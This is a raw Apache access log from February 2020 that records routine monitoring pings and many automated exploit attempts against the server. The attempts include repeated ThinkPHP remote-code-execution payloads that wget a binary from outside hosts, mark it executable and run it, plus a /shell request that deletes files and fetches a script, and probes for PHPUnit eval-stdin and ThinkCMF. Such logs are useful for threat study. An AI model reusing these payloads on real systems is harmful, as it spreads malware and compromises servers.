206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //Admin/scripts/setup.php HTTP/1.1" 404 328 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //Admin/scripts/setup.php HTTP/1.1" 404 328 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //Admin/scripts/setup.php HTTP/1.1" 404 328 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //Admin/scripts/setup.php HTTP/1.1" 404 328 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //Admin/scripts/setup.php HTTP/1.1" 404 328 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //Admin/scripts/setup.php HTTP/1.1" 404 328 "-" "-"
212.91.246.72 - - [05/Feb/2020:14:09:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:10:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.43.169.182 - - [05/Feb/2020:14:11:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0"
212.91.246.72 - - [05/Feb/2020:14:11:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:12:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:13:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.77.199.108 - - [05/Feb/2020:14:14:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.20.29.126 - - [05/Feb/2020:14:14:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:14:14:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:15:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.212.236 - - [05/Feb/2020:14:16:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:14:16:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:17:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:18:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.240.174 - - [05/Feb/2020:14:19:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
216.145.11.94 - - [05/Feb/2020:14:19:31 +0100] "GET /robots.txt HTTP/1.0" 404 332 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
216.145.11.94 - - [05/Feb/2020:14:19:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
212.91.246.72 - - [05/Feb/2020:14:19:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.138.79.162 - - [05/Feb/2020:14:20:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:14:20:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:21:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.30.196.80 - - [05/Feb/2020:14:22:12 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
117.30.196.80 - - [05/Feb/2020:14:22:12 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
117.30.196.80 - - [05/Feb/2020:14:22:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [05/Feb/2020:14:22:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.36.202.146 - - [05/Feb/2020:14:23:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.113.229.206 - - [05/Feb/2020:14:23:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:14:23:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:24:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.211.85.151 - - [05/Feb/2020:14:25:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
124.43.8.138 - - [05/Feb/2020:14:25:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:14:25:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.23.73.236 - - [05/Feb/2020:14:26:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:14:26:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.173.35.41 - - [05/Feb/2020:14:27:08 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [05/Feb/2020:14:27:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.109.144.40 - - [05/Feb/2020:14:28:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:14:28:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [05/Feb/2020:14:29:32 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [05/Feb/2020:14:29:32 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [05/Feb/2020:14:29:32 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [05/Feb/2020:14:29:32 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [05/Feb/2020:14:29:46 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [05/Feb/2020:14:29:46 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [05/Feb/2020:14:29:46 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [05/Feb/2020:14:29:46 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:14:29:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.228.6.52 - - [05/Feb/2020:14:30:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:14:30:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.239.0 - - [05/Feb/2020:14:31:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:14:31:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [05/Feb/2020:14:32:18 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:14:32:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.51.24.122 - - [05/Feb/2020:14:33:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:14:33:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [05/Feb/2020:14:33:50 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [05/Feb/2020:14:34:04 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:14:34:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.170.31 - - [05/Feb/2020:14:34:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.166.76.99 - - [05/Feb/2020:14:34:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [05/Feb/2020:14:35:08 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
1.55.31.91 - - [05/Feb/2020:14:35:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:14:35:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:36:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.171.96.59 - - [05/Feb/2020:14:37:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
187.171.96.59 - - [05/Feb/2020:14:37:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:14:37:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.59.101 - - [05/Feb/2020:14:38:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:14:38:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.226.152.154 - - [05/Feb/2020:14:39:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:14:39:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.201.179.77 - - [05/Feb/2020:14:40:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.184.18.6 - - [05/Feb/2020:14:40:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:14:40:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.33.22 - - [05/Feb/2020:14:41:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:14:41:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:42:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.122.112.58 - - [05/Feb/2020:14:43:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [05/Feb/2020:14:43:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:44:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:45:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.75.67 - - [05/Feb/2020:14:45:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:14:46:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.83.36.39 - - [05/Feb/2020:14:46:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:14:47:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:48:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:49:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:50:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.122.156.239 - - [05/Feb/2020:14:51:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:14:51:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:52:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:53:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:54:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:55:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.197.68.74 - - [05/Feb/2020:14:56:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:14:56:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:57:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.240.7.169 - - [05/Feb/2020:14:58:25 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [05/Feb/2020:14:58:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:59:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:00:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:01:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:02:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:03:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.104.92.123 - - [05/Feb/2020:15:04:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:15:04:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:05:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:06:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.60.11.125 - - [05/Feb/2020:15:07:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:15:07:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:08:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:09:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:10:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:11:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:12:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.146.64.173 - - [05/Feb/2020:15:13:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:15:13:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:14:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:15:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.57.69.215 - - [05/Feb/2020:15:16:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:15:16:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
